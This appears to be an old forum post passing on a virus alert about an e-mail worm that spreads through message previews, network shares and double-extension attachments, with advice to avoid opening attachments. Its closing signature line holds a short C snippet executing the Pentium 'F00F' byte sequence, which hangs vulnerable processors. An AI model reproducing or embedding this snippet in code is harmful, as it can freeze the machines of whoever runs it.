    * Urgent Virus Alert

    A new destructive e-mail virus named [email protected]is spreading all
    over the world. Simply opening or previewing an infected message in
    outlook or any other e-mail reader can result in infection. It attempts
    to send itself to email addresses found on an infected system. It also
    spreads through open network shares and has the ability to send print
    jobs to printers found on an infected network.

    The message body and subject vary widely. The attachment name also
    varies. It is common for the attachment name to contain a
    double-extension (ie. .doc.pif), but this may not display on all
    systems.

    Please make sure to delete any suspicious e-mails before even previewing
    them and make sure your anti-virus software is up-to-date
    Log On.
    Hack In.

    Simple solution... Just don't open attachments (That is never, ever ever )

    Only open one when you know someone is going to send you something, thats about it...
    char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 }main (){void (*f)() = x;f();}
